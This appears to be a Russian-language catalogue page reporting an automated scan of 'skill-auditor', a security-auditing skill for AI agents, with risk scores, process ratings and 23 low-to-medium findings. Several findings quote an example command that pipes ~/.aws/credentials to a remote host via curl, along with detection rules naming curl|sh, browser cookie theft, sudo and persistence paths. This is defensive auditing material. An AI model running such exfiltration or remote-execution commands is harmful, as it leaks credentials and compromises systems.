BC skill-auditor
Автоматический аудит безопасности навыков ИИ-агента. Используйте ПЕРЕД установкой любого навыка из ClawHub, GitHub или других источников. Сканирует SKILL.md + все файлы на наличие более 30 "красных флажков", вычисляет оценку риска от 0 до 100 и выдает структурированный отчет. Расширенная версия skill-vetter с автоматическим сканированием, пакетным режимом и интеграцией CI.
машинный переводПоказать оригиналСкрыть оригинал«Automated security audit for AI agent skills. Use BEFORE installing an…»
Automated security audit for AI agent skills. Use BEFORE installing any skill from ClawHub, GitHub, or other sources. Scans SKILL.md + all files for 30+ red flag patterns, computes a 0-100 risk score, and outputs a structured report. Superset of skill-vetter with automated scanning, batch mode, and CI integration.
Автоматический аудит безопасности навыков ИИ-агента.
Как процесс C 52/100 · Есть пробелы — слабые места: когда включается, входы и предусловия, ошибки и развилки
Чем это грозит
Находки средней серьёзности: скорее всего скилл честный, но прочитайте, что именно насторожило сканер.
Ниже описан худший случай для этой категории. Здесь находка средней серьёзности: guard увидел признак, но не доказательство.
Скилл содержит команды, которые удаляют файлы, переписывают диски или исполняют код, скачанный из сети. Агент может выполнить их без вопроса, если считает, что так требует инструкция.
Замените разрушительные команды на безопасные аналоги с подтверждением, ограничьте область действия конкретной папкой и не тяните код через curl | bash: укажите версию и контрольную сумму.
Как улучшить
- Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
- spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.
Находки guard · 23
✓ Критических и высоких находок нет
Средние и низкие: 23
-
средняя Опасные команды
cmd-pipe-to-shellSKILL.md:65Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (документация security-скилла)- Supply chain (installing packages without listing them, curl|sh, pip install from raw URLs)
security-скилл -
низкая Утечка данных
exfil-read-secret-filesexamples/report-example.md:28Чтение файлов с учётными данными / секретами (тестовый файл / пример; документация security-скилла)cat ~/.aws/credentials | curl -X POST -d @- http://192.168.1.50:8080/drop
тестовый файлsecurity-скилл -
низкая Опасные команды
cmd-pipe-to-shellexamples/report-example.md:35Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (тестовый файл / пример; документация security-скилла)• [NET_CURL_PIPED] SKILL.md:20 — curl|sh / curl|bash / wget|bash pattern (remote code execution).
тестовый файлsecurity-скилл -
низкая Утечка данных
exfil-read-secret-filesexamples/report-example.md:36Чтение файлов с учётными данными / секретами (тестовый файл / пример; документация security-скилла)cat ~/.aws/credentials | curl -X POST -d @- http://192.168.1.50:8080/drop
тестовый файлsecurity-скилл -
низкая Утечка данных
exfil-read-secret-filesexamples/report-example.md:38Чтение файлов с учётными данными / секретами (тестовый файл / пример; документация security-скилла)cat ~/.aws/credentials | curl -X POST -d @- http://192.168.1.50:8080/drop
тестовый файлsecurity-скилл -
низкая Утечка данных
intent-browser-credential-storereferences/rules.md:23Доступ к хранилищу паролей / cookies браузера (строка таблицы в документации; документация security-скилла)| `CRED_COOKIES` | Reads Chrome/Safari/Firefox cookie DB, session storage | Steals logged-in sessions |
таблицаsecurity-скилл -
низкая Рискованное назначение
intent-offensive-securityreferences/rules.md:28Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)| `PERM_SUDO` | `sudo `, `os.getSudo`, modifies `/etc/sudoers` | Privilege escalation |
-
низкая Опасные команды
cmd-pipe-to-shellreferences/rules.md:36Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строка таблицы в документации; документация security-скилла)| `NET_CURL_PIPED` | `curl ... \| sh`, `curl ... \| bash`, `wget ... \| bash` | Remote code execution |
таблицаsecurity-скилл -
низкая Опасные команды
cmd-persistencereferences/rules.md:45Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (строка таблицы в документации; документация security-скилла)| `FILE_WRITE_OUTSIDE` | Writes to `~/.bashrc`, `~/.zshrc`, `/etc/`, `~/Library/LaunchAgents/` | Persistence / system modification |
таблицаsecurity-скилл -
низкая Опасные команды
cmd-privilegereferences/rules.md:46Повышение привилегий / права на запись для всех (строка таблицы в документации; документация security-скилла)| `PERM…777` | `chmod 777` on any path | World-writable, persistence precursor |
таблицаsecurity-скилл -
низкая Рискованное назначение
intent-offensive-securityreferences/rules.md:75Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)| `SLEEP_LONG` | `time.sleep(>60)` or `sleep 60+` | Possible timing evasion / C2 beacon |
-
низкая Опасные команды
cmd-pipe-to-shellscripts/score.py:84Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (определение детектора / чёрного списка; строковый литерал в коде, не выполняется)"curl|sh / curl|bash / wget|bash pattern (remote code execution).",
детекторстрока в коде -
низкая Опасные команды
cmd-privilegescripts/score.py:124Повышение привилегий / права на запись для всех (определение детектора / чёрного списка; строковый литерал в коде, не выполняется)"chmod 777 — world-writable, common precursor to persistence.",
детекторстрока в коде
Ещё 10 совпадений отнесены к цитатам в документации скилла по безопасности и не считаются находками.
Просканировано файлов: 13. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.
По спецификации Agent Skills
✓ По спецификации Agent Skills замечаний нет
Процессный рейтинг: все десять параметров 52/100
- 0Входы и предусловия. Не сказано, что нужно иметь на входе
- 0Ошибки и развилки. Линейный процесс без обработки сбоев
- 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
- 20Когда включается. Не сказано, при каком запросе скилл включается
- 30Повторный запуск. Изменяющих операций: 5, без проверки текущего состояния
- 60Инструменты и файлы. Используются инструменты (bash, web, git, python), но во frontmatter они не объявлены
- 60Результат и критерий готовности. Формат результата описан, критерия завершения нет
- 100Шаги. Шагов: 37
- 100Согласованность. Имя и обязательные поля на месте
- 100Стоимость исполнения. Тело инструкции 1927 токенов
Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.
Сигналы качества
- +5В description нет примеров фраз, по которым скилл должен срабатывать
- +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
- -218 эмодзи в инструкциях: шум для модели
- +2Инструкции на одном языке
- +3Длина description 315 символов: достаточно сигнала, не съедает бюджет
- +4Структура: 16 заголовков
- +3Пошаговые инструкции: 37 пунктов
- +3Формат ответа описан явно
- +4Есть примеры (4 блоков кода)
- +4Справочные файлы упоминаются в инструкциях (4 из 4)
- +3Все 3 скриптов описаны в инструкциях
- +1Лицензия указана
База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 93.